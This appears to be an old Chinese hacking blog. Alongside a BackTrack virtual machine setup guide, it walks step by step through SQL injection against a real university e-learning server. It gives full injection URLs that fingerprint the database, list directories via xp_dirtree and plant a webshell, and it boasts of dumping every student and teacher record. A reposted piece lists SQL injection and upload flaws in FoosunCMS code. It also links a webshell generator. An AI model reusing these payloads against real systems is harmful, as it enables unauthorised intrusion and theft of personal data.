许云风's BLOG

ubuntu利用virtualbox安装backtrack

xuyunfeng@xuyunfeng.com.cn(许云风) — Tue,25 Jan 2011 12:21:20 +0800

笔记本一直安装ubuntu系统,虽然比较适用,但很多渗透工具不全,也不想折腾,就安装backtrack虚拟机.
一.主机:ubunt系统
二:虚拟机backtrack
安装过程不用多说:
1:联网

默认联网方式为NAT,backtrack默认情况下没启动eth0,开机启动:ifup eth0
桥接方式上网:先设置virtualbox为桥接方式

进入BACKTRACK，编辑 vi /etc/network/interfaces根据实际情况填写

设置DNS vi /etc/resolv.conf
重启网络即可上网
/etc/init.d/networking restart
2. 安装virtualbox增强工具
关闭backtrack
在virtualbox中添加光驱并加载增强工具:VBoxGuestAdditions.iso
路径为:/usr/share/virtualbox/VBoxGuestAdditions.iso

启动backtrack
挂加光驱
在运行Ubuntu的virtualbox菜单里选择“设备”-“安装增强功能”
mkdir /mnt/cdrom
mount /dev/cdrom3 /mnt/cdrom
挂载成功
cd /mnt/cdrom
./VBoxLinuxAdditions.run

安装成功.重启即可
3：设置共享空间
关闭backtrack
在virtualbox中不能直接访问宿主机的数据,需要设置共享空间
设置需要共享的数据

我需要共享的位置为:/home/xuyunfeng
数据空间的名字为:xuyunfeng
注意不要选择“只读”
启动backtrack
dir /sbin/mount.*，确认/sbin/mount.vboxsf存在
.lsmod | grep vboxvfs，查看boxvfs模块是否加载
mount -t vboxsf 数据空间的名字在BACKTRACK中的建立的共享文件目录
数据空间的名字:xuyunfeng
运行mkdir /root/share
在BACKTRACK中的建立的共享文件目录：/root/share

共享空间安装成功,但是重启后又需要再次加载

设置自动加载
在/etc/fstab中最后添加一行
xuyunfeng /root/share vboxsf rw 0 0

保存重启即可。

重开博客

xuyunfeng@xuyunfeng.com.cn(许云风) — Sat,15 Jan 2011 03:10:32 +0800

博客两年多没更新了,连密码都忘了,直到空间到期,才知道，以后有时间还是改写写！

关于博客说明

xuyunfeng@xuyunfeng.com.cn(许云风) — Sun,15 Jun 2008 16:19:32 +0800

对不起朋友们,最近因为工作原因不能更新博客,有的朋友说软件不能下载,
可以在网上搜索一下嘛!
可能明年才有时间来管理博客了!

感谢中国知音的建议

xuyunfeng@xuyunfeng.com.cn(许云风) — Sun,04 May 2008 16:51:21 +0800

今天知音给我说了MSSQL Injection Tools V 1.0的一些不足之处,写的很详细,很感谢他的建议,
下次改软件的时候,一定改进!!

黑鹰VIP专用WebShell生成器

xuyunfeng@xuyunfeng.com.cn(许云风) — Fri,25 Apr 2008 06:01:15 +0800

以前很多黑鹰的朋友问我工具怎么还没发出去,现在已经发出去了,你们可以去下了！

http://dx.3800hk.com/vipdown/vipdown/v09/200804/22706.html

MSSQL Injection Tools V 1.0

xuyunfeng@xuyunfeng.com.cn(许云风) — Mon,21 Apr 2008 00:42:11 +0800

拿电子科大网络学堂手工注入(新手篇)

xuyunfeng@xuyunfeng.com.cn(许云风) — Fri,18 Apr 2008 23:07:48 +0800

很多朋友都说我拿站就只有图,现在写一个简单的过程!
没什么技术含量,别见笑!呵呵,开始了,1.先判断是否存在注入:在地址后面打上'
http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'

有防注入系统,限制了我的IP,现在就可以用COOKIES注入器
进入注入:

填写相应信息,生成1.asp,放到我服务器上次,地址是:http://www.xuyunfeng.com.cn/1.asp
加上参数为:http://www.xuyunfeng.com.cn/1.asp?xuyunfeng=0048
现在尝试注入;http://www.xuyunfeng.com.cn/1.asp?xuyunfeng=0048'

提示出错,试了一下不能注入,到了这里一般的朋友都放弃了,现在我们回到原来的注入点
http://218.6.168.52/wlxt/listcourse.asp?courseid=0048一:暴数据库信息:
1.判断数据库名:
http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'%20and%20db_name()>0%20and%20''='

暴出数据库名为:wlxt
2.判断数据库用户名:
http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'%20and%20user>0%20and%20''='

数据库名为:wlxt136
3.判断数据库权限:
http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'%20And%20char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1%20and%20''='

暴出用户权限是:DB的,DB权限可以列目录，现在我们来列网站目录
二:列网站目录
1.创建表:xuyunfeng列C盘的文件和目录
 http://218.6.168.52/wlxt/listcourse.asp?courseid=0048';Drop%20TABLE%20xuyufeng;Create%20TABLE%20xuyunfeng(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20xuyunfeng%20exec%20master..xp_dirtree%20"C:\",%201,1--

提示防注入系统,不用管它,创建表成功
2:暴出C盘的文件和目录个数
 http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20xuyunfeng)=0%20%20and%20''='

暴出一共有13个目录和文件
3.列出第一个文件和目录(目录前面有0)
http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%201%20[subdirectory],[file]%20From%20xuyunfeng%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20and%20''='

第一个目录为:ASFRoot
4:列出第二个文件或目录:
http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%202%20[subdirectory],[file]%20From%20xuyunfeng%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20and%20''='

第二个目录名为:Config.Msi
5.列第三个文件或目录名:
http://218.6.168.52/wlxt/listcourse.asp?courseid=0048'%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%203%20[subdirectory],[file]%20From%20xuyunfeng%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20and%20''='

第三个目录为:Documents and Settings
依次这样列出C盘的所有目录和文件,依次可以列所网站的所有目录和文件,从而找到网站
我已经找到了:d:\webroot\wlxt\现在拿到数据库的信息和网站目录,现在可以通过数据库备份
写上一句话木马:
三:上传木马:
1.用到工具,DB备份工具

把得到的信息写到软件里,依次点击备份,不要管提示,我们看是否成功!

备份成功了，现在用一个免杀大马

点"给我冲进去"看是否成功!
http://218.6.168.52/wlxt /help.asp

成功了,输入密码进入!

我们成功拿到webshell,结束了这次检测!

我用工具拿到了整个数据库:包括所有学生和所有老师的信息,上面是所有老师的信息,但我们不能触犯法律,只是起技术的研究,有些并不是完全相同,好就到这了!

云风SQL连接器

xuyunfeng@xuyunfeng.com.cn(许云风) — Sun,13 Apr 2008 10:05:12 +0800

风讯的产品,你还敢用吗?

xuyunfeng@xuyunfeng.com.cn(许云风) — Sun,06 Apr 2008 05:59:44 +0800

作者：jannock

今日来分析一下风讯的产品的安全性。
风讯管方最新下载，FoosunCMSv4.0sp5完整版(含模板)。安装后，查看了一下代码，发现多处SQL 注入。不由心地发出一句：这样的产品，你敢用吗？
对于ASP版。
1、漏洞文件

/User/i_Blog/Public_Save.asp
38行 p_FileName = Request.Form("FileName")
53行 set rstf = User_Conn.execute("select FileName,FileExtName From FS_ME_Infoilog where UserNumber='"
s_User.UserNumber"' and FileName='"&p_FileName"' and FileExtName='"&P_FileExtName"'")

变量没有过虑就进入数据库查询
测试方法
http://localhost/User/i_Blog/PublicLog.asp

在文件名那输入 test' 保存后出现

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC Microsoft Access Driver] 语法错误 (操作符丢失) 在查询表达式 'UserNumber='290149F916J' and FileName='test'' and FileExtName='html'' 中。

/User/i_Blog/Public_Save.asp, 第 53 行

2、漏洞文件

/user/Reg_Contact.asp

51 p_C_Name = Request.Form("C_Name")
85 AddCorpDataTFObj.open "select C_Name From FS_ME_CorpUser where C_Name = '"&
p_C_Name "'",User_Conn,1,3

也明显存在sql注入漏洞

40 p_RealName = Replace(Request.Form("RealName"),"''","")
115 AddUserDataTFObj.open "select UserName,Email From FS_ME_Users where UserName
= '"& p_UserName_1 "'",User_Conn,1,3

sql注入漏洞

3、user/Photo_Class.asp
26 rs.open "select title,id,UserNumber From FS_ME_PhotoClass where
title='"&trim(Request.Form("title"))"' and UserNumber='"&Fs_User.UserNumber"'",User_Conn,1,3

title 没有过虑就直接进入数据库
测试方法
http://localhost/user/Photo_Class.asp?Action=add

在相册分类名称那加入SQL注入语句 test'
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC Microsoft Access Driver] 语法错误 (操作符丢失) 在查询表达式 'title='test'' and UserNumber='290149F916J'' 中。

/user/Photo_Class.asp, 第 26 行

4、Order_Pay.asp

14 User_Conn.execute("Delete From FS_ME_Order where orderNumber='"&
equest.QueryString("OrderNumber")"' and UserNumber='"& Fs_User.UserNumber "'")

orderNumber 没有过虑
测试方法
http://localhost/User/Order_Pay.asp?action=lock_order&OrderNumber=4'

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC Microsoft Access Driver] 语法错误 (操作符丢失) 在查询表达式 'OrderNumber='4'' and UserNumber='290149F916J'' 中。

/User/Order_Pay.asp, 第 14 行

5、OpenCorp.asp

39 p_C_Name = Request.Form("C_Name")
62 AddCorpDataTFObj.open "select C_Name From FS_ME_CorpUser where
C_Name = '"& p_C_Name "' and usernumber<>'"&session("fS_usernumber")"'",User_Conn,1,3

6、Message_box.asp

29 DelID = request.Form("MessageID")
35 User_Conn.execute("Delete From FS_ME_Message where MessageId in ("&DelID")
and M_ReadUserNumber ='"& Fs_User.UserNumber"'")

随便一看，就SQL注入就那么多。其它的漏洞呢？
一个SQL注入漏洞就能把网站黑掉。晕。。这样的系统还敢用吗？

对于最新的.net 版风讯dotNETCMS v1.0
随便看了一下，也存在很严重的漏洞
editor\editor\filemanager\connectors\aspx
connector.aspx
upload.aspx
这两个文件都存在上传漏洞。
很容易上传木马

下面是对风讯管方网站的入侵测试

不敢用风讯系统了吧？（注：以上只是本人友情测试）

密码转换工具

xuyunfeng@xuyunfeng.com.cn(许云风) — Sun,06 Apr 2008 05:09:07 +0800

注入时遇到加过密的密码,可以转换!